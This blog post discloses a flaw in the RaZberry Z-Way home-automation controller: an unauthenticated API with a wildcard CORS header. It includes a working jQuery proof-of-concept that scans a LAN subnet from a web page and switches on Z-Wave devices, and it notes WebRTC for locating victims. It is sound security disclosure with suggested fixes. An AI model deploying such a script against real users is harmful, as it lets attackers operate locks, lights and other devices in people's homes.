I recently purchased a RaZberry board for one of my Raspberry Pis in order to begin my path towards home automation. I chose the RaZberry board, rather than a traditional Z-Wave controller, mainly due to its integration with the Raspberry Pi. This allowed me programmatic access to both the Z-Wave protocol as well as GPIO devices, which was important for some existing alarm sensors I have in my home. Z-Way is the communication protocol which abstracts Z-Wave specifics into an easy-to-use REST API. The Z-Way project even includes some basic web interfaces to get started, including a gateway management interface.

Shortly after installing the software and adding some devices, I began reviewing the web requests while managing my devices. Z-Way uses Angular to expose an API, which appeared to be consumed by both their web interfaces as well as their Android app. Below is an example request to turn my light switch on:

POST http://192.168.5.219:8083/ZWaveAPI/Run/devices[12].instances[0].commandClasses[37].Set(255) HTTP/1.1 Host: 192.168.5.219:8083 Connection: keep-alive Content-Length: 0 Accept: application/json, text/plain, */* Origin: http://192.168.5.219:8083 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Referer: http://192.168.5.219:8083/expert/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8

And below is the boring, yet important, response:

HTTP/1.1 200 OK Content-Type: application/json Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Content-Length: 4 null

Immediately, I notice a serious concern: the Angular API requires absolutely no authentication. After searching around, I found the following FAQ on the vendor’s website:

Is there HTTP authentication in the HTTP/JSON API? No, there is no authentication, your local network is supposed to be safe environment and protected from outside world using Wi-Fi passwords and firewalls. If you want to protect Z-Way using a password, you can always use projects like ngnix and other reverse proxy servers.

It was interesting to find that the vendor was aware of the issue, yet relinquished themselves of dealing with it. Understandably, most of the customers of this hardware are probably more technically inclined than the average user. Still, I felt it was a serious security risk that was, and still is, mostly unknown to customers. While a user’s LAN is supposed to be somewhat safe, this doesn’t mean remote attacks are impossible. As I started to consider the possible attack methods against the API that could originate from outside the LAN, I remembered the response above. Note that the default CORS header on the Z-Way web server permits any origin domain by responding with Access-Control-Allow-Origin: * . This makes a cross-origin attack fairly straightforward. The below proof-of-concept shows how simple it would be for an attacker to embed malicious Javascript in his page in order to crawl through subnet hosts and attempt to trigger a Z-Wave operation. Since these requests are asynchronous, the victim would have no indication that they were being performed.

jQuery(document).ready(function() { for(var i=1; i<=254; i++) { var host = "192.168.5." + i; var url = "http://" + host + ":8083/ZWaveAPI/Run/devices[99].instances[0].commandClasses[37].Set(255)"; $.ajax({ type: "POST", url: url, host: host }) .always(function(r) { if(r.status != 0) { var valid_host = this.host; // Server found, enumerate devices for(var y=0; y<=15; y++) { $.post("http://" + valid_host + ":8083/ZWaveAPI/Run/devices[" + y + "].instances[0].commandClasses[37].Set(255)"); } } }); } });

First, the script loops through the subnet hosts and attempts to POST to the API. It then determines whether the host was valid by looking for a returned status code other than zero. It’s unlikely that device 99 would exist on the victim’s controller, so the script then iterates through device IDs, in this case attempting to turn a light switch on. The risk is obviously greater when dealing with door locks, garage openers, or other sensitive devices.

Here is what a test run looks like on my network after a host has been identified:

The attack can get broader by trying more default subnets, or it can get more precise if the victim’s browser supports WebRTC. In the latter case, STUN requests can be made to determine the victim’s private LAN IP which can then be used to closely estimate the subnet range.

Securing a Razberry by requiring authentication is a little involved, but probably not difficult for most of its users. Another improvement would be to specify the allowed origin explicitly in the CORS policy. While this weakness in the Z-Way package is fairly targeted, it demonstrates the risk of liberal CORS implementations and how they can be exploited by attackers.

Share this: